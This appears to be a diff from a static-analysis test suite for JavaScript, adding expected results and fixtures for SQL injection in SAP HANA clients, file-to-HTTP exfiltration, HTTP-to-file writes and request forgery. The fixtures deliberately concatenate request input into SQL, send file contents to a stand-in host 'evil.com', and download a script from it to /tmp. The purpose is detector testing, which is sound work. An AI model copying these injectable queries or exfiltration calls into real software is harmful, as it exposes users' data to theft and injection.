| hana.js:17:87:17:100 | maliciousInput | semmle.label | maliciousInput |
|
||||
| hana.js:23:15:23:44 | maliciousInput | semmle.label | maliciousInput |
|
||||
| hana.js:23:32:23:39 | req.body | semmle.label | req.body |
|
||||
| hana.js:24:33:24:96 | `INSERT ... usInput | semmle.label | `INSERT ... usInput |
|
||||
| hana.js:24:83:24:96 | maliciousInput | semmle.label | maliciousInput |
|
||||
| hana.js:30:13:30:42 | maliciousInput | semmle.label | maliciousInput |
|
||||
| hana.js:30:30:30:37 | req.body | semmle.label | req.body |
|
||||
| hana.js:31:31:31:97 | "SELECT ... usInput | semmle.label | "SELECT ... usInput |
|
||||
| hana.js:31:84:31:97 | maliciousInput | semmle.label | maliciousInput |
|
||||
| hana.js:47:7:47:36 | maliciousInput | semmle.label | maliciousInput |
|
||||
| hana.js:47:24:47:31 | req.body | semmle.label | req.body |
|
||||
| hana.js:48:15:48:52 | 'SELECT ... usInput | semmle.label | 'SELECT ... usInput |
|
||||
| hana.js:48:39:48:52 | maliciousInput | semmle.label | maliciousInput |
|
||||
| hana.js:50:40:50:89 | 'CALL P ... usInput | semmle.label | 'CALL P ... usInput |
|
||||
| hana.js:50:76:50:89 | maliciousInput | semmle.label | maliciousInput |
|
||||
| hana.js:54:38:54:66 | 'PROC_D ... usInput | semmle.label | 'PROC_D ... usInput |
|
||||
| hana.js:54:53:54:66 | maliciousInput | semmle.label | maliciousInput |
|
||||
| hana.js:68:7:68:36 | maliciousInput | semmle.label | maliciousInput |
|
||||
| hana.js:68:24:68:31 | req.body | semmle.label | req.body |
|
||||
| hana.js:71:44:71:99 | "INSERT ... usInput | semmle.label | "INSERT ... usInput |
|
||||
| hana.js:71:86:71:99 | maliciousInput | semmle.label | maliciousInput |
|
||||
| hana.js:73:17:73:54 | 'select ... usInput | semmle.label | 'select ... usInput |
|
||||
| hana.js:73:41:73:54 | maliciousInput | semmle.label | maliciousInput |
|
||||
| hana.js:74:17:74:54 | 'select ... usInput | semmle.label | 'select ... usInput |
|
||||
| hana.js:74:41:74:54 | maliciousInput | semmle.label | maliciousInput |
|
||||
| hana.js:76:20:76:73 | 'select ... usInput | semmle.label | 'select ... usInput |
|
||||
| hana.js:76:60:76:73 | maliciousInput | semmle.label | maliciousInput |
|
||||
| hana.js:80:20:80:69 | 'call P ... usInput | semmle.label | 'call P ... usInput |
|
||||
| hana.js:80:56:80:69 | maliciousInput | semmle.label | maliciousInput |
|
||||
| hana.js:84:20:84:78 | 'select ... usInput | semmle.label | 'select ... usInput |
|
||||
| hana.js:84:65:84:78 | maliciousInput | semmle.label | maliciousInput |
|
||||
| html-sanitizer.js:13:39:13:44 | param1 | semmle.label | param1 |
|
||||
| html-sanitizer.js:14:5:14:24 | param1 | semmle.label | param1 |
|
||||
| html-sanitizer.js:14:14:14:24 | xss(param1) | semmle.label | xss(param1) |
|
||||
|
||||
@@ -0,0 +1,95 @@
|
||||
const hana = require('@sap/hana-client');
|
||||
const express = require('express');
|
||||
|
||||
const app = express();
|
||||
const connectionParams = {};
|
||||
app.post('/documents/find', (req, res) => {
|
||||
const conn = hana.createConnection();
|
||||
conn.connect(connectionParams, (err) => {
|
||||
let maliciousInput = req.body.data; // $ Source
|
||||
const query = `SELECT * FROM Users WHERE username = '${maliciousInput}'`;
|
||||
conn.exec(query, (err, rows) => {}); // $ Alert
|
||||
conn.disconnect();
|
||||
});
|
||||
|
||||
conn.connect(connectionParams, (err) => {
|
||||
const maliciousInput = req.body.data; // $ Source
|
||||
const stmt = conn.prepare(`SELECT * FROM Test WHERE ID = ? AND username = ` + maliciousInput); // $ Alert
|
||||
stmt.exec([maliciousInput], (err, rows) => {}); // maliciousInput is treated as a parameter
|
||||
conn.disconnect();
|
||||
});
|
||||
|
||||
conn.connect(connectionParams, (err) => {
|
||||
const maliciousInput = req.body.data; // $ Source
|
||||
var stmt = conn.prepare(`INSERT INTO Customers(ID, NAME) VALUES(?, ?) ` + maliciousInput); // $ Alert
|
||||
stmt.execBatch([[1, maliciousInput], [2, maliciousInput]], function(err, rows) {}); // maliciousInput is treated as a parameter
|
||||
conn.disconnect();
|
||||
});
|
||||
|
||||
conn.connect(connectionParams, (err) => {
|
||||
const maliciousInput = req.body.data; // $ Source
|
||||
var stmt = conn.prepare("SELECT * FROM Customers WHERE ID >= ? AND ID < ?" + maliciousInput); // $ Alert
|
||||
stmt.execQuery([100, maliciousInput], function(err, rs) {}); // $ maliciousInput is treated as a parameter
|
||||
conn.disconnect();
|
||||
});
|
||||
});
|
||||
|
||||
var hdbext = require('@sap/hdbext');
|
||||
var express = require('express');
|
||||
var dbStream = require('@sap/hana-client/extension/Stream');
|
||||
|
||||
var app1 = express();
|
||||
const hanaConfig = {};
|
||||
app1.use(hdbext.middleware(hanaConfig));
|
||||
|
||||
app1.get('/execute-query', function (req, res) {
|
||||
var client = req.db;
|
||||
let maliciousInput = req.body.data; // $ Source
|
||||
client.exec('SELECT * FROM DUMMY' + maliciousInput, function (err, rs) {}); // $ Alert
|
||||
|
||||
dbStream.createProcStatement(client, 'CALL PROC_DUMMY (?, ?, ?, ?, ?)' + maliciousInput, function (err, stmt) { // $ Alert
|
||||
stmt.exec({ A: maliciousInput, B: 4 }, function (err, params, dummyRows, tablesRows) {}); // maliciousInput is treated as a parameter
|
||||
});
|
||||
|
||||
hdbext.loadProcedure(client, null, 'PROC_DUMMY' + maliciousInput, function(err, sp) { // $ Alert
|
||||
sp(3, maliciousInput, function(err, parameters, dummyRows, tablesRows) {}); // maliciousInput is treated as a parameter
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
var hdb = require('hdb');
|
||||
const async = require('async');
|
||||
|
||||
const options = {};
|
||||
const app2 = express();
|
||||
|
||||
app2.post('/documents/find', (req, res) => {
|
||||
var client = hdb.createClient(options);
|
||||
let maliciousInput = req.body.data; // $ Source
|
||||
|
||||
client.connect(function onconnect(err) {
|
||||
async.series([client.exec.bind(client, "INSERT INTO NUMBERS VALUES (1, 'one')" + maliciousInput)], function (err) {}); // $ Alert
|
||||
|
||||
client.exec('select * from DUMMY' + maliciousInput, function (err, rows) {}); // $ Alert
|
||||
client.exec('select * from DUMMY' + maliciousInput, options, function(err, rows) {}); // $ Alert
|
||||
|
||||
client.prepare('select * from DUMMY where DUMMY = ?' + maliciousInput, function (err, statement){ // $ Alert
|
||||
statement.exec([maliciousInput], function (err, rows) {}); // maliciousInput is treated as a parameter
|
||||
});
|
||||
|
||||
client.prepare('call PROC_DUMMY (?, ?, ?, ?, ?)' + maliciousInput, function(err, statement){ // $ Alert
|
||||
statement.exec({A: 3, B: maliciousInput}, function(err, parameters, dummyRows, tableRows) {});
|
||||
});
|
||||
|
||||
client.execute('select A, B from TEST.NUMBERS order by A' + maliciousInput, function(err, rs) {}); // $ Alert
|
||||
});
|
||||
});
|
||||
|
||||
var app3 = express();
|
||||
|
||||
app3.get('/execute-query', function (req, res) {
|
||||
var client = req.db;
|
||||
let maliciousInput = req.body.data;
|
||||
client.exec('SELECT * FROM DUMMY' + maliciousInput, function (err, rs) {});
|
||||
req.db.exec('SELECT * FROM DUMMY' + maliciousInput, function (err, rs) {});
|
||||
});
|
||||
@@ -1,6 +1,9 @@
|
||||
#select
|
||||
| FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | Outbound network request depends on $@. | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | file data |
|
||||
| FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | file data |
|
||||
| FileAccessToHttp.js:36:13:41:3 | {\\n h ... r }\\n } | FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | FileAccessToHttp.js:36:13:41:3 | {\\n h ... r }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | file data |
|
||||
| FileAccessToHttp.js:45:13:50:3 | {\\n h ... ) }\\n } | FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | FileAccessToHttp.js:45:13:50:3 | {\\n h ... ) }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | file data |
|
||||
| FileAccessToHttp.js:54:15:59:5 | {\\n ... }\\n } | FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | FileAccessToHttp.js:54:15:59:5 | {\\n ... }\\n } | Outbound network request depends on $@. | FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | file data |
|
||||
| bufferRead.js:32:21:32:28 | postData | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:32:21:32:28 | postData | Outbound network request depends on $@. | bufferRead.js:12:22:12:43 | new Buf ... s.size) | file data |
|
||||
| googlecompiler.js:37:18:37:26 | post_data | googlecompiler.js:43:54:43:57 | data | googlecompiler.js:37:18:37:26 | post_data | Outbound network request depends on $@. | googlecompiler.js:43:54:43:57 | data | file data |
|
||||
| readFileSync.js:25:18:25:18 | s | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | readFileSync.js:25:18:25:18 | s | Outbound network request depends on $@. | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | file data |
|
||||
@@ -18,6 +21,27 @@ edges
|
||||
| FileAccessToHttp.js:16:21:16:56 | await f ... "utf8") | FileAccessToHttp.js:16:11:16:56 | content | provenance | |
|
||||
| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | provenance | |
|
||||
| FileAccessToHttp.js:22:27:22:33 | content | FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | provenance | |
|
||||
| FileAccessToHttp.js:34:9:34:57 | buffer | FileAccessToHttp.js:40:25:40:30 | buffer | provenance | |
|
||||
| FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | FileAccessToHttp.js:34:9:34:57 | buffer | provenance | |
|
||||
| FileAccessToHttp.js:40:14:40:32 | { Referer: buffer } [Referer] | FileAccessToHttp.js:36:13:41:3 | {\\n h ... r }\\n } | provenance | |
|
||||
| FileAccessToHttp.js:40:25:40:30 | buffer | FileAccessToHttp.js:40:14:40:32 | { Referer: buffer } [Referer] | provenance | |
|
||||
| FileAccessToHttp.js:43:9:43:36 | buffer1 | FileAccessToHttp.js:49:25:49:31 | buffer1 | provenance | |
|
||||
| FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | FileAccessToHttp.js:43:9:43:36 | buffer1 | provenance | |
|
||||
| FileAccessToHttp.js:49:14:49:65 | { Refer ... ing() } [Referer] | FileAccessToHttp.js:45:13:50:3 | {\\n h ... ) }\\n } | provenance | |
|
||||
| FileAccessToHttp.js:49:25:49:31 | buffer1 | FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) | provenance | |
|
||||
| FileAccessToHttp.js:49:25:49:31 | buffer1 | FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) [ArrayElement] | provenance | |
|
||||
| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) | FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | provenance | |
|
||||
| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) [ArrayElement] | FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | provenance | |
|
||||
| FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | FileAccessToHttp.js:49:14:49:65 | { Refer ... ing() } [Referer] | provenance | |
|
||||
| FileAccessToHttp.js:52:9:52:36 | buffer2 | FileAccessToHttp.js:53:17:53:23 | buffer2 | provenance | |
|
||||
| FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | FileAccessToHttp.js:52:9:52:36 | buffer2 | provenance | |
|
||||
| FileAccessToHttp.js:53:17:53:23 | buffer2 | FileAccessToHttp.js:58:27:58:33 | buffer2 | provenance | |
|
||||
| FileAccessToHttp.js:58:16:58:67 | { Refer ... ing() } [Referer] | FileAccessToHttp.js:54:15:59:5 | {\\n ... }\\n } | provenance | |
|
||||
| FileAccessToHttp.js:58:27:58:33 | buffer2 | FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) | provenance | |
|
||||
| FileAccessToHttp.js:58:27:58:33 | buffer2 | FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) [ArrayElement] | provenance | |
|
||||
| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) | FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | provenance | |
|
||||
| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) [ArrayElement] | FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | provenance | |
|
||||
| FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | FileAccessToHttp.js:58:16:58:67 | { Refer ... ing() } [Referer] | provenance | |
|
||||
| bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:21:13:26 | buffer | provenance | |
|
||||
| bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:32:13:37 | buffer | provenance | |
|
||||
| bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:12:13:12:43 | buffer | provenance | |
|
||||
@@ -74,6 +98,28 @@ nodes
|
||||
| FileAccessToHttp.js:18:15:23:5 | {\\n ... }\\n } | semmle.label | {\\n ... }\\n } |
|
||||
| FileAccessToHttp.js:22:16:22:35 | { Referer: content } [Referer] | semmle.label | { Referer: content } [Referer] |
|
||||
| FileAccessToHttp.js:22:27:22:33 | content | semmle.label | content |
|
||||
| FileAccessToHttp.js:34:9:34:57 | buffer | semmle.label | buffer |
|
||||
| FileAccessToHttp.js:34:18:34:57 | [Buffer ... (1024)] | semmle.label | [Buffer ... (1024)] |
|
||||
| FileAccessToHttp.js:36:13:41:3 | {\\n h ... r }\\n } | semmle.label | {\\n h ... r }\\n } |
|
||||
| FileAccessToHttp.js:40:14:40:32 | { Referer: buffer } [Referer] | semmle.label | { Referer: buffer } [Referer] |
|
||||
| FileAccessToHttp.js:40:25:40:30 | buffer | semmle.label | buffer |
|
||||
| FileAccessToHttp.js:43:9:43:36 | buffer1 | semmle.label | buffer1 |
|
||||
| FileAccessToHttp.js:43:19:43:36 | Buffer.alloc(1024) | semmle.label | Buffer.alloc(1024) |
|
||||
| FileAccessToHttp.js:45:13:50:3 | {\\n h ... ) }\\n } | semmle.label | {\\n h ... ) }\\n } |
|
||||
| FileAccessToHttp.js:49:14:49:65 | { Refer ... ing() } [Referer] | semmle.label | { Refer ... ing() } [Referer] |
|
||||
| FileAccessToHttp.js:49:25:49:31 | buffer1 | semmle.label | buffer1 |
|
||||
| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) | semmle.label | buffer1 ... sRead1) |
|
||||
| FileAccessToHttp.js:49:25:49:52 | buffer1 ... sRead1) [ArrayElement] | semmle.label | buffer1 ... sRead1) [ArrayElement] |
|
||||
| FileAccessToHttp.js:49:25:49:63 | buffer1 ... tring() | semmle.label | buffer1 ... tring() |
|
||||
| FileAccessToHttp.js:52:9:52:36 | buffer2 | semmle.label | buffer2 |
|
||||
| FileAccessToHttp.js:52:19:52:36 | Buffer.alloc(1024) | semmle.label | Buffer.alloc(1024) |
|
||||
| FileAccessToHttp.js:53:17:53:23 | buffer2 | semmle.label | buffer2 |
|
||||
| FileAccessToHttp.js:54:15:59:5 | {\\n ... }\\n } | semmle.label | {\\n ... }\\n } |
|
||||
| FileAccessToHttp.js:58:16:58:67 | { Refer ... ing() } [Referer] | semmle.label | { Refer ... ing() } [Referer] |
|
||||
| FileAccessToHttp.js:58:27:58:33 | buffer2 | semmle.label | buffer2 |
|
||||
| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) | semmle.label | buffer2 ... sRead2) |
|
||||
| FileAccessToHttp.js:58:27:58:54 | buffer2 ... sRead2) [ArrayElement] | semmle.label | buffer2 ... sRead2) [ArrayElement] |
|
||||
| FileAccessToHttp.js:58:27:58:65 | buffer2 ... tring() | semmle.label | buffer2 ... tring() |
|
||||
| bufferRead.js:12:13:12:43 | buffer | semmle.label | buffer |
|
||||
| bufferRead.js:12:22:12:43 | new Buf ... s.size) | semmle.label | new Buf ... s.size) |
|
||||
| bufferRead.js:13:21:13:26 | buffer | semmle.label | buffer |
|
||||
|
||||
@@ -26,3 +26,36 @@ const fsp = require("fs").promises;
|
||||
console.error("Error reading file:", error);
|
||||
}
|
||||
})();
|
||||
|
||||
app.post('/readv', async (req, res) => {
|
||||
const { filename } = req.body;
|
||||
const fd = await fsp.open(filename, 'r');
|
||||
|
||||
const buffer = [Buffer.alloc(1024), Buffer.alloc(1024)]; // $ Source[js/file-access-to-http]
|
||||
const bytesRead = fs.readvSync(fd, buffer);
|
||||
https.get({
|
||||
hostname: "evil.com",
|
||||
path: "/upload",
|
||||
method: "GET",
|
||||
headers: { Referer: buffer }
|
||||
}, () => { }); // $ Alert[js/file-access-to-http]
|
||||
|
||||
const buffer1 = Buffer.alloc(1024); // $ Source[js/file-access-to-http]
|
||||
const bytesRead1 = fs.readvSync(fd, [buffer1]);
|
||||
https.get({
|
||||
hostname: "evil.com",
|
||||
path: "/upload",
|
||||
method: "GET",
|
||||
headers: { Referer: buffer1.slice(0, bytesRead1).toString() }
|
||||
}, () => { }); // $ Alert[js/file-access-to-http]
|
||||
|
||||
const buffer2 = Buffer.alloc(1024); // $ Source[js/file-access-to-http]
|
||||
fs.readv(fd, [buffer2], (err, bytesRead2) => {
|
||||
https.get({
|
||||
hostname: "evil.com",
|
||||
path: "/upload",
|
||||
method: "GET",
|
||||
headers: { Referer: buffer2.slice(0, bytesRead2).toString() }
|
||||
}, () => { }); // $ Alert[js/file-access-to-http]
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,10 +1,16 @@
|
||||
#select
|
||||
| HttpToFileAccess.js:6:37:6:37 | d | HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d | Write to file system depends on $@. | HttpToFileAccess.js:5:18:5:18 | d | Untrusted data |
|
||||
| HttpToFileAccess.js:14:21:14:23 | [d] | HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:14:21:14:23 | [d] | Write to file system depends on $@. | HttpToFileAccess.js:12:18:12:18 | d | Untrusted data |
|
||||
| HttpToFileAccess.js:18:46:18:48 | [d] | HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:18:46:18:48 | [d] | Write to file system depends on $@. | HttpToFileAccess.js:12:18:12:18 | d | Untrusted data |
|
||||
| tst.js:16:33:16:33 | c | tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data |
|
||||
| tst.js:19:25:19:25 | c | tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data |
|
||||
| tst.js:24:22:24:22 | c | tst.js:15:26:15:26 | c | tst.js:24:22:24:22 | c | Write to file system depends on $@. | tst.js:15:26:15:26 | c | Untrusted data |
|
||||
edges
|
||||
| HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d | provenance | |
|
||||
| HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:14:22:14:22 | d | provenance | |
|
||||
| HttpToFileAccess.js:12:18:12:18 | d | HttpToFileAccess.js:18:47:18:47 | d | provenance | |
|
||||
| HttpToFileAccess.js:14:22:14:22 | d | HttpToFileAccess.js:14:21:14:23 | [d] | provenance | |
|
||||
| HttpToFileAccess.js:18:47:18:47 | d | HttpToFileAccess.js:18:46:18:48 | [d] | provenance | |
|
||||
| tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | provenance | |
|
||||
| tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | provenance | |
|
||||
| tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c | provenance | |
|
||||
@@ -15,6 +21,11 @@ edges
|
||||
nodes
|
||||
| HttpToFileAccess.js:5:18:5:18 | d | semmle.label | d |
|
||||
| HttpToFileAccess.js:6:37:6:37 | d | semmle.label | d |
|
||||
| HttpToFileAccess.js:12:18:12:18 | d | semmle.label | d |
|
||||
| HttpToFileAccess.js:14:21:14:23 | [d] | semmle.label | [d] |
|
||||
| HttpToFileAccess.js:14:22:14:22 | d | semmle.label | d |
|
||||
| HttpToFileAccess.js:18:46:18:48 | [d] | semmle.label | [d] |
|
||||
| HttpToFileAccess.js:18:47:18:47 | d | semmle.label | d |
|
||||
| tst.js:15:26:15:26 | c | semmle.label | c |
|
||||
| tst.js:16:33:16:33 | c | semmle.label | c |
|
||||
| tst.js:16:33:16:33 | c | semmle.label | c |
|
||||
|
||||
@@ -6,3 +6,16 @@ https.get('https://evil.com/script', res => {
|
||||
fs.writeFileSync("/tmp/script", d) // $ Alert
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
https.get('https://evil.com/script', res => {
|
||||
res.on("data", d => { // $ Source
|
||||
fs.open("/tmp/script", 'r', (err, fd) => {
|
||||
fs.writev(fd, [d], (err, bytesWritten) => { // $ Alert
|
||||
console.log(`Wrote ${bytesWritten} bytes`);
|
||||
});
|
||||
|
||||
const bytesWritten = fs.writevSync(fd, [d]); // $ Alert
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
#select
|
||||
| apollo.serverSide.ts:8:39:8:64 | get(fil ... => {}) | apollo.serverSide.ts:7:36:7:44 | { files } | apollo.serverSide.ts:8:43:8:50 | file.url | The $@ of this request depends on a $@. | apollo.serverSide.ts:8:43:8:50 | file.url | URL | apollo.serverSide.ts:7:36:7:44 | { files } | user-provided value |
|
||||
| apollo.serverSide.ts:18:37:18:62 | get(fil ... => {}) | apollo.serverSide.ts:17:34:17:42 | { files } | apollo.serverSide.ts:18:41:18:48 | file.url | The $@ of this request depends on a $@. | apollo.serverSide.ts:18:41:18:48 | file.url | URL | apollo.serverSide.ts:17:34:17:42 | { files } | user-provided value |
|
||||
| axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | axiosInterceptors.serverSide.js:19:21:19:28 | req.body | axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | The $@ of this request depends on a $@. | axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | endpoint | axiosInterceptors.serverSide.js:19:21:19:28 | req.body | user-provided value |
|
||||
| serverSide.js:18:5:18:20 | request(tainted) | serverSide.js:14:29:14:35 | req.url | serverSide.js:18:13:18:19 | tainted | The $@ of this request depends on a $@. | serverSide.js:18:13:18:19 | tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
|
||||
| serverSide.js:20:5:20:24 | request.get(tainted) | serverSide.js:14:29:14:35 | req.url | serverSide.js:20:17:20:23 | tainted | The $@ of this request depends on a $@. | serverSide.js:20:17:20:23 | tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value |
|
||||
@@ -31,6 +32,11 @@ edges
|
||||
| apollo.serverSide.ts:8:13:8:17 | files | apollo.serverSide.ts:8:28:8:31 | file | provenance | |
|
||||
| apollo.serverSide.ts:8:28:8:31 | file | apollo.serverSide.ts:8:43:8:46 | file | provenance | |
|
||||
| apollo.serverSide.ts:8:43:8:46 | file | apollo.serverSide.ts:8:43:8:50 | file.url | provenance | |
|
||||
| apollo.serverSide.ts:17:34:17:42 | files | apollo.serverSide.ts:18:11:18:15 | files | provenance | |
|
||||
| apollo.serverSide.ts:17:34:17:42 | { files } | apollo.serverSide.ts:17:34:17:42 | files | provenance | |
|
||||
| apollo.serverSide.ts:18:11:18:15 | files | apollo.serverSide.ts:18:26:18:29 | file | provenance | |
|
||||
| apollo.serverSide.ts:18:26:18:29 | file | apollo.serverSide.ts:18:41:18:44 | file | provenance | |
|
||||
| apollo.serverSide.ts:18:41:18:44 | file | apollo.serverSide.ts:18:41:18:48 | file.url | provenance | |
|
||||
| axiosInterceptors.serverSide.js:19:11:19:17 | { url } | axiosInterceptors.serverSide.js:19:11:19:28 | url | provenance | |
|
||||
| axiosInterceptors.serverSide.js:19:11:19:28 | url | axiosInterceptors.serverSide.js:20:23:20:25 | url | provenance | |
|
||||
| axiosInterceptors.serverSide.js:19:21:19:28 | req.body | axiosInterceptors.serverSide.js:19:11:19:17 | { url } | provenance | |
|
||||
@@ -91,6 +97,12 @@ nodes
|
||||
| apollo.serverSide.ts:8:28:8:31 | file | semmle.label | file |
|
||||
| apollo.serverSide.ts:8:43:8:46 | file | semmle.label | file |
|
||||
| apollo.serverSide.ts:8:43:8:50 | file.url | semmle.label | file.url |
|
||||
| apollo.serverSide.ts:17:34:17:42 | files | semmle.label | files |
|
||||
| apollo.serverSide.ts:17:34:17:42 | { files } | semmle.label | { files } |
|
||||
| apollo.serverSide.ts:18:11:18:15 | files | semmle.label | files |
|
||||
| apollo.serverSide.ts:18:26:18:29 | file | semmle.label | file |
|
||||
| apollo.serverSide.ts:18:41:18:44 | file | semmle.label | file |
|
||||
| apollo.serverSide.ts:18:41:18:48 | file.url | semmle.label | file.url |
|
||||
| axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | semmle.label | userProvidedUrl |
|
||||
| axiosInterceptors.serverSide.js:19:11:19:17 | { url } | semmle.label | { url } |
|
||||
| axiosInterceptors.serverSide.js:19:11:19:28 | url | semmle.label | url |
|
||||
|
||||
@@ -14,8 +14,8 @@ function createApolloServer(typeDefs) {
|
||||
|
||||
const resolvers2 = {
|
||||
Mutation: {
|
||||
downloadFiles: async (_, { files }) => { // $ MISSING: Source[js/request-forgery]
|
||||
files.forEach((file) => { get(file.url, (res) => {}); }); // $ MISSING: Alert[js/request-forgery] Sink[js/request-forgery]
|
||||
downloadFiles: async (_, { files }) => { // $ Source[js/request-forgery]
|
||||
files.forEach((file) => { get(file.url, (res) => {}); }); // $ Alert[js/request-forgery] Sink[js/request-forgery]
|
||||
return true;
|
||||
},
|
||||
},
|
||||
|
||||
Reference in New Issue
Block a user